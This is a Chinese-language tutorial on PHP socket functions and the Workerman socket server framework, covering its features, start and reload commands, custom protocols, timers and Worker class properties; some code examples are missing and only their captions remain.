超时时间用来表示socket_select阻塞的时长,为0时函数立即返回,可以用于轮询机制,为null时函数会一直阻塞下去,直到有可操作的socket返回 最后两个时间参数只有单位不同,可以搭配使用,用来表示socket_select阻塞的时长,为0时此函数立即返回,可以用于轮询机制。 为NULL时函数会一直阻塞下去,直到有可操作的socket返回 $read_num = socket_select($sockets,$write,$except,NULL); 1、新连接到来时被监听的端口是活跃的,如果是新数据到来或客户端关闭链接时,活跃的是对应的客户端socket而非服务器上被监听的端口 2、如果客户端发来数据没有被读走,则socket_select将会始终显示客户端是活跃状态并将其保存在readfds数组中 3、如果客户端先关闭了,则必须手动关闭服务器上相对应的客户端socket,否则socket_select也始终显示该客户端活跃,这个道理跟"有新连接到来然后没有用socket_access把它读出来,导致监听的端口一直活跃"一样当有两个客户端并发连接进下面的服务器时【 socket_set_block() 】 在socket里设置为阻塞模式 【 socket_set_nonblock() 】 socket里设置为非阻塞模式【 socket_set_option() 】 bool socket_set_option ( resource $socket ,int $level ,int $optname ,mixed $optval ) 设置socket选项,成功返回TRUE否则FALSE socket: A valid socket resource created with socket_create() or socket_accept(). level: The level parameter specifies the protocol level at which the option resides. For example,to retrieve options at the socket level,a level parameter of SOL_SOCKET would be used. Other levels,such as TCP,can be used by specifying the protocol number of that level. Protocol numbers can be found by using the getprotobyname() function. optname: The available socket options are the same as those for the socket_get_option() function. optval: The option value【 socket_shutdown() 】 bool socket_shutdown ( resource $socket [,int $how = 2 ] ) Shuts down a socket for receiving,sending,or both 这个函数允许关闭读、写或指定的socket 【 socket_writev() 】 写数据到分散/聚合数组socket服务器端采用try catch捕获socket异常执行php server.php运行起来。客户端使用终端执行telnet 127.0.0.1 9999简单的TCP/IP服务器MAX_CLIENTS简单的TCP/IP客户端handle any number of connections instead of jsut onesocket_server_arr.phpA more object oriented example of the server
workerman
workerman是一个高性能的PHP socket服务器框架,workerman基于PHP多进程及libevent事件轮询库,PHP开发者只要实现一两个接口,便可以开发出自己的网络应用,例如Rpc服务、聊天室服务器、手机游戏服务器等。 workerman的目标是让PHP开发者更容易的开发出基于socket的高性能的应用服务,而不用去了解PHP socket及PHP多进程细节。workerman本身是一个PHP多进程服务器框架,具有PHP进程管理及socket通信的模块,所以不依赖php-fpm、nginx或apache等这些容器便可以独立运行 Workerman不是MVC框架,而是一个更底层更通用的socket服务框架,可以用来开发tcp代理、梯子代理、做游戏服务器、邮件服务器、ftp服务器、甚至开发一个php版本的redis、php版本的数据库、php版本的nginx、php版本的php-fpm等等。Workerman可以说是PHP领域的一次创新,让开发者彻底摆脱了PHP只能做WEB的束缚。 实际上Workerman类似一个PHP版本的nginx,核心也是多进程+Epoll+非阻塞IO。Workerman每个进程能维持上万并发连接。由于本身常住内存,不依赖Apache、nginx、php-fpm这些容器,拥有超高的性能。同时支持TCP、UDP、UNIXSOCKET,支持长连接,支持Websocket、HTTP、WSS、HTTPS等通讯协以及各种自定义协议。拥有定时器、异步socket客户端、异步Mysql、异步Redis、异步Http、异步消息队列等众多高性能组件 【 workerman的特性 】 1、纯PHP开发 workerman完全使用PHP开发,使用workerman开发的应用程序不依赖php-fpm、apache、nginx这些容器就可以独立运行,workerman本身已经是一个类似apache/nginx的容器,只要PHP环境workerman就可以运行,这使得PHP开发者开发、部署、调试应用程序非常方便。 2、支持PHP多进程 为了充分发挥服务器多CPU的性能,workerman默认支持多进程多任务。workerman开启一个主进程和多个子进程对外提供服务,主进程负责监控子进程退出信号,并负责生成新的子进程去处理服务,这样做不仅提高了应用程序的性能,而且使得workerman更加稳定。 3、支持TCP、UDP workerman支持TCP和UDP两种传输层协议,只需要更改配置的一个字段便可以更换传输层协议,业务代码无需任何改动。 4、支持长连接 很多时候需要PHP应用程序要与客户端保持长连接,比如聊天室、游戏等,但传统的PHP容器(apache、nginx、php-fpm)很难做到。使用workerman可以轻松使用PHP长连接。php单个进程可以支持几千甚至几万的并发连接,多进程则可支持数十万甚至上百万的并发连接。 5、支持各种应用层协议 接口上支持各种应用层协议,包括自定义协议。Workerman默认支持的协议有HTTP、WebSocket及简单的Text文本协议,同时Workerman提供了通用的协议接口,开发者基于此接口便可以方便的开发出自己的协议。 6、支持高并发 workerman支持Libevent事件轮询库(需要安装Libevent扩展),使用Libevent在高并发时性能非常卓越,如果没有安装Libevent则使用PHP内置的Select相关系统调用。 如果业务并发连接数超过1000同时在线,请务必优化linux内核,并安装event扩展或libevent扩展 7、支持服务平滑重启 当需要重启服务时(如发布版本),不希望正在处理用户请求的进程被立刻终止,更不希望重启的那一刻没有足够的进程对外提供服务,为了保证任意时刻都有足够的进程对外提供服务,可以使用平滑重启命令,平滑重启过程中workerman会让子进程处理完请求后才退出,并且能够保证在任意时刻都有足够的进程对外服务。 8、支持HHVM 支持HHVM,对于php性能有大幅度(一般为50%左右甚至更高)的提升,尤其是在cpu密集运算中。实际经过压力测试确实有明显性能提升效果。 9、支持以指定用户运行子进程 因为子进程是实际处理用户请求的进程,为了安全考虑,子进程不能有太高的权限,所以workerman支持设置子运行进程运行的用户。 10、自带监控 workerman内部带有监控统计模块,能够统计workerman自身的一些数据,如进程退出次数及退出状态,每个进程占用内存大小及监听的ip端口、每个进程启动时间、 进程运行的服务名、每个进程处理请求数、连接数、数据包发送失败量等,这些信息可以本地运行php start.php status本地查看。 11、支持毫秒级别定时器 支持毫秒级别定时器,可以做定时任务或定时计算,如游戏中地图上AI相关计算。 12、支持异步IO Workerman自带的网络IO接口是异步的,开发者可实现基于事件的异步编程 13、支持对象或资源永久保持 在一个进程生命周期内静态成员或全局变量在不主动销毁的情况下是永久保持的,即只要初始化一次静态成员或全局变量在当前进程的整个生命周期内的所有请求都可以复用这个静态成员或全局变量。例如只要单个进程内初始化一次数据库连接,以后这个进程的所有请求都可以复用这个数据库连接,不用每个用户请求都去重连数据库,避免了频繁连接数据库过程中TCP三次握手、数据库权限验证、断开连接时TCP四次握手的过程,极大的提高了应用程序效率。memcache、redis等初始化也是同样的道理。 14、高性能 请求周期差异 PHP在Web应用中一次请求过后会释放所有的变量与资源 WorkerMan开发的应用程序在第一次载入解析后便常驻内存,使得类的定义、全局对象、类的静态成员不会释放,便于后续重复利用 由于php文件从磁盘读取解析一次后便会常驻内存,下次使用时直接使用内存中的opcode,极大的减少了磁盘IO及PHP中请求初始化、创建执行环境、词法解析、语法解析、编译opcode、请求关闭等诸多耗时过程,并且不依赖nginx、apache等容器,少了nginx等容器与PHP通信的网络开销,最主要的是资源可以永久保持,不必每次初始化数据库连接等,所以使用workerman开发应用程序,性能非常高。 注意单例模式的连接资源的释放 由于WorkerMan不会在每次请求后释放全局对象及类的静态成员,在数据库等单例模式中,往往会将数据库实例(内部包含了一个数据库socket连接)保存在数据库静态成员中,使得WorkerMan在进程生命周期内都复用这个数据库socket连接。需要注意的是当数据库服务器发现某个连接在一定时间内没有活动后可能会主动关闭socket连接,这时再次使用这个数据库实例时会报错,错误信息类似mysql gone away。WorkerMan提供了数据库类,有断开重连的功能,开发者可以直接使用 15、诸多应用 workerman拥有诸多的应用,如Thrift-Rpc、Json-Rpc、聊天室、统计监控服务以及本站Web程序等. 目前workerman已经被多家公司使用,其中不乏日营业额过亿的电子商务公司用户订单系统的开发,及大型游戏公司用于游戏后台的开发。 16、支持分布式部署 WorkerMan支持分布式部署,可以平滑的动态添加减少服务器而不影响服务质量,从而使得WorkerMan集群能够支持相当大的吞吐量或并发TCP连接。 17、支持心跳检测 Gateway/Worker开发模型支持服务端的心跳检测,可以定时向客户端发送应用层的心跳,及时检测到客户端极端掉线情况(掉电、突发网络故障等)。 【 Workerman的一些应用方向 】 Workerman不同于传统MVC框架,Workerman不仅可用于Web开发,同时还有更广阔的应用领域,例如即时通讯、物联网、游戏、服务治理、其它服务器或中间件,大大提高了PHP开发者的视野 1、即时通讯类 例如网页即时聊天、即时消息推送、微信小程序、手机app消息推送、PC软件消息推送等 2、物联网类 例如Workerman与打印机通讯、与单片机通讯、智能手环、智能家居、共享单车等 3、游戏服务器类 例如棋牌游戏、MMORPG游戏等 4、SOA服务化 利用Workerman将现有业务不同功能单元封装起来,以服务的形式对外提供统一的接口,达到系统松耦合、易维护、高可用、易伸缩 5、其它服务器软件 例如GatewayWorker,PHPSocket.IO,http代理,sock5代理,分布式通讯组件,分布式变量共享组件,消息队列、DNS服务器、WebServer、CDN服务器、FTP服务器等 6、中间件 例如异步MySQL组件,异步redis组件,异步http组件,异步消息队列组件,异步dns组件,文件监控组件,还有很多第三方开发的组件框架等等 【 workerman原理 】 Worker是WorkerMan中最基本容器,Worker可以开启多个进程监听端口并使用特定协议通讯,类似nginx监听某个端口。每个Worker进程独立运作,采用Epoll(需要装event扩展)+非阻塞IO,每个Worker进程都能上万的客户端连接,并处理这些连接上发来的数据。主进程为了保持稳定性,只负责监控子进程,不负责接收数据也不做任何业务逻辑 每个Worker维持着各自的客户端连接,能够方便的实现客户端与服务端的实时通讯,基于这种模型可以方便实现一些基本的开发需求,例如HTTP服务器、Rpc服务器、一些智能硬件实时上报数据、服务端推送数据、游戏服务器、微信小程序后台等 【 下载安装 】 WorkerMan实际上就是一个PHP代码包,如果PHP环境已经装好,只需要把WorkerMan源代码或demo下载下来即可运行,两种安装方式如下 composer require workerman/workerman git clone https://github.com/walkor/Workerman 不会添加到autoload 从workerman3.5.3版已经可以同时支持windows和linux系统, windows用户需要配置下php环境变量 workerman的在Windows下与Linux下区别 1、win版本count属性无效,全部为单进程 2、不支持start stop reload restart status命令 3、cmd命令行启动,后面可接多个文件,例如php start_web.php start_gateway.php start_worker.php 4、无法守护进程,cmd窗口关掉后服务即停止 5、每个启动文件只能实例化一个容器(Worker/WebServer/Gateway/BusinessWorker),实例化多个容器时需要拆成多个文件,例如start_web.php start_gateway.php start_worker.php分别初始化web gateway worker Windows版本workerman的启动与停止 cmd命令行中运行 php your_file.php 停止运行按ctrl+c 【 开发流程 】 应用程序目录 应用程序目录可以放到任意位置 入口文件 和nginx+PHP-FPM下的PHP应用程序一样,WorkerMan中的应用程序也需要一个入口文件,入口文件名没有要求,并且这个入口文件是以PHP Cli方式运行的。简单的聊天室的入口文件
【 开发必读 】 workerman是命令行启动的 入口文件是创建监听进程相关的代码,并且这个入口文件是以PHP Cli方式运行的 类采用首字母大写的驼峰式命名,类文件名称必须与文件内部类名相同,以便自动加载 使用命名空间,命名空间名字与目录路径对应,并以开发者的项目根目录为基准 普通函数及变量名采用小写加下划线方式 类成员及类的方法采用首字母小写的驼峰形式 函数及类的参数采用小写加下划线方式 WorkerMan支持HTTP、Websocket、Text文本协议(WorkerMan中自定义的一个协议,格式为文本+换行),如果需要使用其它协议可自定义 除了与HTTP协议相关的变量函数无法直接使用外,WorkerMan开发与普通PHP开发并没有很大不同 WorkerMan运行在PHP CLI模式下,由于非HTTP协议的应用,PHP CLI模式下无法使用HTTP相关的函数,例如header、setcookie、session_start等函数,请使用/Workerman/Protocols/Http.php文件中的header、setcookie、sessionStart等方法替换,调用方式类似Workerman\Protocols\Http::header() 可用的超全局变量 可用的超全局变量有$_SERVER、$_GET、$_POST、$_FILES、$_COOKIE、$_SESSION、$_REQUEST 无法使用php://input,请用$GLOBALS['HTTP_RAW_POST_DATA']代替。 HTTP文件上传中,WorkerMan的$_FILES结构与传统PHP中的$_FILES结构不同
1、TCP传输层协议
TCP是一种面向连接的、可靠的、基于IP的传输层协议。TCP传输层协议一个重要特点是TCP是基于数据流的,客户端的请求会源源不断的发送给服务端,服务端收到的数据可能不是一个完整的请求,也有可能是多个请求连在一起,这就需要在这源源不断的数据流中区分每个请求的边界,而应用层协议主要是为请求边界定义一套规则,避免请求数据混乱。
2、应用层协议
应用层协议(application layer protocol)定义了运行在不同端系统上(客户端、服务端)的应用程序进程如何相互传递报文,例如HTTP、WebSocket都属于应用层协议。例如一个简单的应用层次协议可以如下{"module":"user","action":"getInfo","uid":456}\n",此协议是以"\n"("\n"代表回车)标记请求结束,消息体是字符串。
3、短连接
短连接是指通讯双方有数据交互时就建立一个连接,数据发送完成后则断开此连接,即每次连接只完成一项业务的发送,WEB网站的HTTP服务一般都用短连接。
4、长连接
长连接指在一个连接上可以连续发送多个数据包。
长连接应用必须加心跳,否则连接可能由于长时间不活跃而被路由节点防火墙断开。
长连接多用于操作频繁,点对点的通讯的情况。每个TCP连接都需要三步握手的时间,如果每个操作都是先连接再操作的话那么处理速度会降低很多。所以长连接在每个操作完后都不断开,下次处理时直接发送数据包,不用建立TCP连接。例如数据库的连接用长连接,如果用短连接频繁的通信会造成socket错误,而且频繁的socket创建也是对资源的浪费
当需要主动向客户端推送数据时如聊天类、即时通讯、物联网、即时游戏类、手机推送等应用需要长连接,建议直接使用GatewayWorker框架,它专门在workerman的基础上再次封装,做起长连接应用后台更简单、更易用。
GatewayWorker是基于Workerman开发的一套TCP长连接的应用框架,实现了单发、群发、广播等接口,内置了mysql类库
GatewayWorker分为Gateway进程和Worker进程,天然支持分布式部署,能够支持庞大的连接数(百万甚至千万连接级别的应用)。
可用于开发IM聊天应用、移动通讯、游戏后台、物联网、智能家居后台等
选择Workerman还是GatewayWorker
如果项目是长连接并且需要客户端与客户端之间通讯,建议使用GatewayWorker。
短连接或不需要客户端与客户端之间通讯的项目建议使用Workerman。
GatewayWorker不支持UDP监听,所以UDP服务请选择Workerman。
如果有多进程socket编程经验,喜欢定制自己的进程模型,可以选择Workerman
客户端和服务端协议一定要对应才能通讯,如客户端是用websocket协议,服务端必须也是websocket协议(服务端new Worker('websocket://0.0.0.0...'))才能连得上才能通讯。不要尝试在浏览器地址栏访问websocket协议端口,不要尝试用webscoket协议访问裸tcp协议端口,协议一定要对应
不要使用exit die sleep语句
业务执行exit die语句会导致进程退出,并显示WORKER EXIT UNEXPECTED错误。进程退出了会立刻重启一个新的进程继续服务。如果需要返回,可以调用return。
sleep语句会让进程睡眠,睡眠过程中不会执行任何业务,框架也会停止运行,会导致该进程的所有客户端请求都无法处理。
业务代码里不要有死循环,否则会导致控制权无法交还给workerman框架,导致无法接收处理其它客户端消息。
区分主进程和子进程
注意代码是运行在主进程还是子进程,一般在Worker::runAll();调用前运行的代码都是在主进程运行的,onXXX回调运行的代码都属于子进程,写在Worker::runAll();后面的代码永远不会被执行
不要在主进程中初始化数据库、memcache、redis等连接资源,因为主进程初始化的连接可能会被子进程自动继承,尤其是使用单例的时候,所有进程都持有同一个连接,服务端通过这个连接返回的数据在多个进程上都可读,会导致数据错乱。同样的如果任何一个进程关闭连接(例如daemon模式运行时主进程会退出导致连接关闭),都导致所有子进程的连接都被一起关闭,并发生不可预知的错误,例如mysql gone away错误。
推荐在onWorkerStart里面初始化连接资源
【 Workerman启动停止等命令都是在命令行中完成的 】
要启动Workerman,首先需要有一个启动入口文件如start.php,里面定义了服务监听的端口及协议
php start.php start // 以debug方式启动
php start.php start -d // 以daemon方式启动
php start.php stop // 停止
php start.php restart // 重启
php start.php reload // 平滑重启
php start.php status // 查看workerman运行状态
php start.php connections // 查看连接状态
debug和daemon方式区别
1、以debug方式启动,代码中echo、var_dump、print等打印函数会直接输出在终端。
2、以daemon方式启动,代码中echo、var_dump、print等打印会默认重定向到/dev/null文件,可以通过设置Worker::$stdoutFile = '/your/path/file';
3、以debug方式启动,终端关闭后workerman会随之关闭并退出。
4、以daemon方式启动,终端关闭后workerman继续后台正常运行。
平滑重启
平滑重启不同于普通的重启,平滑重启可以做到在不影响用户的情况下重启服务,以便重新载入PHP程序完成业务代码更新。
平滑重启一般应用于业务更新或版本发布过程中,能避免因为代码发布重启服务导致的暂时性服务不可用的影响。
只有子进程运行过程中载入的文件支持reload,主进程载入的文件不支持reload。Worker::runAll执行完后workerman运行过程中动态加载的文件支持reload,Worker::runAll执行前就载入的文件代码不支持reload
平滑重启原理
一般的重启的过程是把所有进程全部停止后,再开始创建全新的服务进程。在这个过程中会有一个短暂的时间内是没有进程对外提供服务的,这就会导致服务暂时不可用,这在高并发时势必会导致请求失败。
而平滑重启则不是一次性的停止所有进程,而是一个进程一个进程的停止,每停止一个进程后马上重新创建一个新的进程顶替,直到所有旧的进程都被替换为止。
WorkerMan分为主进程和子进程,主进程负责监控子进程,子进程负责接收客户端的连接和连接上发来的请求数据,做相应的处理并返回数据给客户端。当业务代码更新时,其实只要更新子进程,便可以达到更新代码的目的。
当WorkerMan主进程收到平滑重启信号时,主进程会向其中一个子进程发送安全退出信号,让对应进程处理完毕当前请求后才退出,当这个进程退出后主进程会重新创建一个新的子进程,这个子进程载入了新的PHP代码,然后主进程再次向另外一个旧的进程发送停止命令,这样一个进程一个进程的重启,直到所有旧的进程全部被置换为止。
平滑重启实际上是让旧的业务进程逐个退出然后并逐个创建新的进程做到的。为了在平滑重启时不影响客用户,这就要求进程中不要保存用户相关的状态信息,即业务进程最好是无状态的,避免由于进程退出导致信息丢失。
只有在on{...}回调中载入的文件平滑重启后才会自动更新,启动脚本中直接载入的文件或者写死的代码运行reload不会自动更新
通讯协议protocols
由于TCP是基于流的,客户端发送的请求数据是像水流一样流入到服务端,服务端探测到有数据到来后应该检查数据是否是完整的,因为可能只是一个请求的部分数据到达服务端,甚至可能是多个请求连在一起到达服务端。如何判断请求是否全部到达或者从多个连在一起的请求中分离请求,就需要规定一套通讯协议。 传统PHP开发都是基于Web的,基本上都是HTTP协议,HTTP协议的解析处理都由WebServer独自承担了,所以开发者不会关心协议方面的事情。然而当需要基于非HTTP协议开发时,开发者就需要考虑协议的事情了 WorkerMan目前已经支持HTTP、websocket、text协议、frame协议、ws协议,需要基于这些协议通讯时可以直接使用,使用方法及时在初始化Worker时指定协议 Workerman内置了一个text协议,协议格式为文本+换行符。text协议开发调试都非常简单,可用于绝大多数自定义协议的场景,并且支持telnet调试。如果开发者要开发自己的应用协议,可以直接使用text协议,不用再单独开发
【 定制协议 】
简单的协议一般包含两部分:
1、区分数据边界的标识
2、数据格式定义
假设区分数据边界的标识为换行符"\n",请求数据本身内部不能包含换行符,数据格式为Json,下面是一个符合这个规则的请求包,请求数据末尾有一个换行字代表一个请求的结束
{"type":"message","content":"hello"}
实现步骤
在WorkerMan中如果要实现上面的协议,假设协议的名字叫JsonNL,所在项目为MyApp,则需要以下步骤
1、协议文件放到项目的Protocols文件夹,例如文件MyApp/Protocols/JsonNL.php
2、实现JsonNL类,以namespace Protocols;为命名空间,必须实现三个静态方法分别为input、encode、decode
workerman会自动调用这三个静态方法,用来实现分包、解包、打包
协议接口说明见Workerman/Protocols/ProtocolInterface.php
Workerman中没有严格要求协议类必须基于ProtocolInterface实现,实际上协议类只要类包含了input、encode、decode三个静态方法即可
workerman与协议类交互流程
1、假设客户端发送一个数据包给服务端,服务端收到数据(可能是部分数据)后会立刻调用协议的input方法来检测包的长度,input方法返回长度值$length给workerman框架。
2、workerman框架得到这个$length值后判断当前数据缓冲区中是否已经接收到$length长度的数据,如果没有就会继续等待数据,直到缓冲区中的数据长度不小于$length。
3、缓冲区的数据长度足够后,workerman就会从缓冲区截取出$length长度的数据(即分包),并调用协议的decode方法解包,解包后的数据为$data。
4、解包后workerman将数据$data以回调onMessage($connection,$data)的形式传递给业务,业务在onMessage里就可以使用$data变量得到客户端发来的完整并且已经解包的数据了。
5、当onMessage里业务需要通过调用$connection->send($buffer)方法给客户端发送数据时,workerman会自动利用协议的encode方法将$buffer打包后再发给客户端
├── Protocols // 这是要创建的Protocols目录
│ └── JsonNL.php // 这是要创建的自定义协议文件
├── start.php // 这是要创建的start脚本
└── Workerman // Workerman源码目录,里面代码不要动
MyApp/Protocols/JsonNL.php JsonNL协议的实现MyApp\start.php JsonNL协议的使用
Timer定时器类
1、只能在onXXXX回调中添加定时器
全局的定时器推荐在onWorkerStart回调中设置,针对某个连接的定时器推荐在onConnect中设置。
2、添加的定时任务在当前进程执行,不会启动新的进程或线程
如果任务很重,特别是涉及到网络IO的任务,可能会导致该进程阻塞,暂时无法处理其它业务
所以最好将耗时的任务放到单独的进程运行,例如建立一个/多个Worker进程运行
3、当前进程忙于其它业务时或当一个任务没有在预期的时间运行完,这时又到了下一个运行周期,则会等待当前任务完成才会运行,这会导致定时器没有按照预期时间间隔运行。也就是说当前进程的业务都是串行执行的,如果是多进程则进程间的任务运行是并行的。
4、多进程设置了定时任务造可能会造成并发问题,例如下面的代码每秒会打印5次。
如果只想要一个进程运行定时器可只在指定进程中设置定时器
$worker = new Worker();
$worker->count = 5; // 5个进程
$worker->onWorkerStart = function($worker) {
Timer::add(1,function(){ // 5个进程,每个进程都有一个这样的定时器
echo "hi\r\n";
});
};
Worker::runAll();
5、可能会有1毫秒左右的误差。
6、定时器不能跨进程删除,例如a进程设置的定时器无法在b进程直接调用Timer::del接口删除
7、不同进程间的定时器id可能会重复,但是同一个进程内产生的定时器id不会重复
【 add 】
int \Workerman\Lib\Timer::add(float $time_interval,callable $callback [,$args = array(),bool $persistent = true])
定时执行某个函数或者类方法。
定时器是在当前进程中运行的,workerman中不会创建新的进程或者线程去运行定时器。
返回一个整数,代表计时器的timerid,可以通过调用Timer::del($timerid)销毁这个计时器。
参数time_interval表示多长时间执行一次,单位秒,支持小数,可以精确到0.001,即精确到毫秒级别。
参数callback是回调函数,如果回调函数是类的方法则方法必须是public属性
参数args是回调函数的参数,必须为数组,数组元素为参数值
参数persistent表示是否是持久的,如果只想定时执行一次则传递false,只执行一次的任务在执行完毕后会自动销毁,不必调用Timer::del()。默认是true即一直定时执行。
定时函数为匿名函数即闭包定时函数为匿名函数,利用闭包传递参数定时器函数为匿名函数,利用定时器接口传递参数定时函数为普通函数定时函数为类的方法,回调函数属性必须是public定时函数为类方法(类内部使用定时器)定时函数为类的静态方法,回调函数属性也必须是public定时函数为类的静态方法(带命名空间)定时器中销毁当前定时器(use闭包方式传递$timer_id)定时器中销毁当前定时器(参数方式传递$timer_id)【 del 】 boolean \Workerman\Lib\Timer::del(int $timer_id) 删除某个定时器,参数timer_id是定时器的id,即add接口返回的整型定时器回调中删除当前定时器
workerman WebServer
WorkerMan自带了一个简单的Web服务器,同样也是基于Worker实现的。文件位置在Workerman/WebServer.php。这个WebServer开发的目的主要是为了方便运行一些简单的Web程序,例如workerman-todpole等web界面程序。 WebServer只能用http和https协议start.php
workerman demos
http_server.phptcp_server.phpwebsocket_server.phpssl_server.phptext_protocol.phpclass Worker
WorkerMan中有两个重要的类Worker与Connection。 Worker类用于实现端口的监听,并可以设置客户端连接事件、连接上消息事件、连接断开事件的回调函数,从而实现业务处理。可以设置Worker实例的进程数(count属性),Worker主进程会fork出count个子进程同时监听相同的端口,并行的接收客户端连接,处理连接上的事件。
构造函数 __construct
Worker::__construct([string $listen,array $context]) 初始化一个Worker容器实例,可以设置容器的一些属性和回调接口完成特定功能 $listen参数可选,不填表示不监听任何端口,不执行任何监听的Worker容器用来处理一些定时任务;如果有设置监听$listen参数则会执行socket监听 $listen的格式为 <协议>://<监听地址> tcp: 例如 tcp://0.0.0.0:8686 udp: 例如 udp://0.0.0.0:8686 unix: 例如 unix:///tmp/my_file http: 例如 http://0.0.0.0:80 websocket: 例如 websocket://0.0.0.0:8686 text: 例如 text://0.0.0.0:8686 以及其他自定义协议 监听地址可以为以下格式: 如果是unix套接字,地址为本地一个磁盘路径 非unix套接字,地址格式为 本机ip:端口号 本机ip可以为0.0.0.0表示监听本机所有网卡,包括内网ip和外网ip及本地回环127.0.0.1 本机ip如果以为127.0.0.1表示监听本地回环,只能本机访问,外部无法访问 本机ip如果为内网ip,类似192.168.xx.xx,表示只监听内网ip,则外网用户无法访问 本机ip设置的值不属于本机ip则无法执行监听,并且提示Cannot assign requested address错误 端口号不能大于65535,如果小于1024则需要root权限才能监听。监听的端口必须是本机未被占用的端口,否则无法监听,并且提示Address already in use错误 $context 一个数组,用于传递socket的上下文选项
Worker类属性
【 id属性 】 int Worker::$id 当前worker进程的id编号,范围为0到$worker->count-1。 这个属性对于区分worker进程非常有用,例如1个worker实例有多个进程,开发者只想在其中一个进程中设置定时器,则可以通过识别进程编号id来做到这一点,比如只在该worker实例id编号为0的进程设置定时器 进程重启后id编号值是不变的。 进程编号id的分配是基于每个worker实例的。每个worker实例都从0开始给自己的进程编号,所以worker实例间进程编号会有重复,但是一个worker实例中的进程编号不会重复 windows系统由于不支持进程数count的设置,只有id只有一个0号。windows系统下不支持同一个文件初始化两个Worker监听一个worker实例有4个进程,只在id编号为0的进程上设置定时器
【 count属性 】 int Worker::$count 设置当前Worker实例启动多少个进程,不设置时默认为1。 此属性必须在Worker::runAll();运行前设置才有效。windows系统不支持此特性。 进程数设置需要考虑以下条件 1、cpu核数 2、内存大小 3、业务偏向IO密集还是CPU密集型 进程数设置原则 1、每个进程占用内存之和需要小于总内存,一般来说每个业务进程占用内存大概40M左右 2、如果是IO密集型,也就是业务中涉及到一些阻塞式IO,比如一般的访问Mysql、Redis等存储都是阻塞式访问的,进程数可以开大一些,如配置成CPU核数的3倍。如果业务中涉及的阻塞等待很多,可以再适当加大进程数,例如CPU核数的5倍甚至更高。注意非阻塞式IO属于CPU密集型,而不属于IO密集型。 3、如果是CPU密集型,也就是业务中没有阻塞式IO开销,例如使用异步IO读取网络资源,进程不会被业务代码阻塞的情况下,可以把进程数设置成和CPU核数一样 进程数设置原理有点像生产线上工人们工作的情景,有4个生产线,就相当于CPU是4核的,生产线上的产品相当于任务,工人相当于进程。 工人并非越多越好,因为只有4条生产线,生产能力有限,并且工人多了大家轮流上下生产线开销也很大,同样的进程多了进程间切换开销也很大。 如果流水线上的商品每一步操作起来比较耗时(IO密集型),就需要多一点的工人去操作。 如果流水线上的商品每一步操作都比较快(CPU密集型),只需要少数工人即可 进程数设置参考值 如果业务代码偏向IO密集型,也就是业务代码有IO阻塞的地方,则根据IO密集程度设置进程数,例如CPU核数的3倍。 如果业务代码偏向CPU密集型,也就是业务代码中无IO通讯或者无阻塞式IO通讯,则可以将进程数设置成cpu核数。 WorkerMan自身的IO都是非阻塞的,例如Connection->send等都是非阻塞的,属于CPU密集型操作。如果不清楚自己业务偏向于哪种类型,可设置进程数为CPU核数的2倍左右即可。 【 name属性 】 string Worker::$name 设置当前Worker实例的名称,方便运行status命令时识别进程。不设置时默认为none。
【 protocol属性 】
string Worker::$protocol
设置当前Worker实例的协议类。
协议处理类可以直接在初始化Worker在监听参数时直接指定,$worker = new Worker('http://0.0.0.0:8686');
【 transport属性 】 string Worker::$transport 设置当前Worker实例所使用的传输层协议,目前只支持3种(tcp、udp、ssl)。不设置默认为tcp
【 reusePort属性 】 bool Worker::$reusePort 设置当前worker是否开启监听端口复用(socket的SO_REUSEPORT选项),默认false不开启。 开启监听端口复用后允许多个无亲缘关系的进程监听相同的端口,并且由系统内核做负载均衡,决定将socket连接交给哪个进程处理,避免了惊群效应,可以提升多进程短连接应用的性能 此特性需要PHP版本>=7.0workerman多端口(多协议)监听
【 connections属性 】
array Worker::$connections
格式为array(id=>connection,id=>connection,...)
此属性中存储了当前进程的所有的客户端连接对象,其中id为connection的id编号
在广播时或者根据连接id获得连接对象非常有用。
如果得知connection的编号为$id,可以很方便的通过$worker->connections[$id]获得对应的connection对象,从而操作对应的socket连接,如通过$worker->connections[$id]->send('...')发送数据。
如果连接关闭(触发onClose),对应的connection会从$connections数组里删除。
开发者不要对这个属性做修改操作,否则可能造成不可预知的情况。
进程启动时设置一个定时器,定时向所有客户端连接发送数据【 stdoutFile属性 】 static string Worker::$stdoutFile 此属性为全局静态属性,如果以守护进程方式(-d启动)运行,则所有向终端的输出(echo var_dump等)都会被重定向到stdoutFile指定的文件中。 如果不设置并且是以守护进程方式运行,则所有终端输出全部重定向到/dev/null 此属性必须在Worker::runAll();运行前设置才有效。windows系统不支持此特性 // 所有的打印输出全部保存在/tmp/stdout.log文件中 Worker::$stdoutFile = '/tmp/stdout.log'; 【 pidFile属性 】 static string Worker::$pidFile 如果无特殊需要,建议不要设置此属性 此属性为全局静态属性,用来设置WorkerMan进程的pid文件路径。 此项设置在监控中比较有用,例如将WorkerMan的pid文件放入固定的目录中,可以方便一些监控软件读取pid文件,从而监控WorkerMan进程状态。 如果不设置,WorkerMan默认会在与Workerman目录平行的位置自动生成一个pid文件,并且为了避免启动多个WorkerMan实例导致pid冲突,WorkerMan生成pid文件包含了当前WorkerMan的路径 此属性必须在Worker::runAll();运行前设置才有效。windows系统不支持此特性。 Worker::$pidFile = '/var/run/workerman.pid'; 【 logFile属性 】 static string Worker::$logFile 用来指定workerman日志文件位置。 此文件记录了workerman自身相关的日志,包括启动、停止等。 如果没有设置文件名默认为workerman.log,文件位置位于Workerman的上一级目录中。 这个日志文件中仅仅记录workerman自身相关启动停止等日志,不包含任何业务日志。 业务日志类可以利用file_put_contents 或者 error_log 等函数自行实现。 Worker::$logFile = '/tmp/workerman.log'; 【 user属性 】 string Worker::$user 设置当前Worker实例以哪个用户运行。此属性只有当前用户为root时才能生效。不设置时默认以当前用户运行。 建议$user设置权限较低的用户,例如www-data、apache、nobody等。 此属性必须在Worker::runAll();运行前设置才有效。windows系统不支持此特性。 $worker->user = 'www-data'; 【 reloadable属性 】 bool Worker::$reloadable 设置当前Worker实例是否可以reload,即收到reload信号后是否退出重启。不设置默认为true,收到reload信号后自动重启进程。 有些进程维持着客户端连接,例如Gateway/Worker模型中的gateway进程,当运行reload重新载入业务代码时,却又不想客户端连接断开,则设置gateway进程的reloadable属性为false $worker->reloadable = false; 【 daemonize 】 static bool Worker::$daemonize 此属性为全局静态属性,表示是否以daemon(守护进程)方式运行。如果启动命令使用了 -d参数,则该属性会自动设置为true。也可以代码中手动设置。 此属性必须在Worker::runAll();运行前设置才有效。windows系统不支持此特性。 Worker::$daemonize = true; 【 globalEvent属性 】 static Event Worker::$globalEvent 此属性为全局静态属性,为全局的eventloop实例,可以向其注册文件描述符的读写事件或者信号事件
回调属性
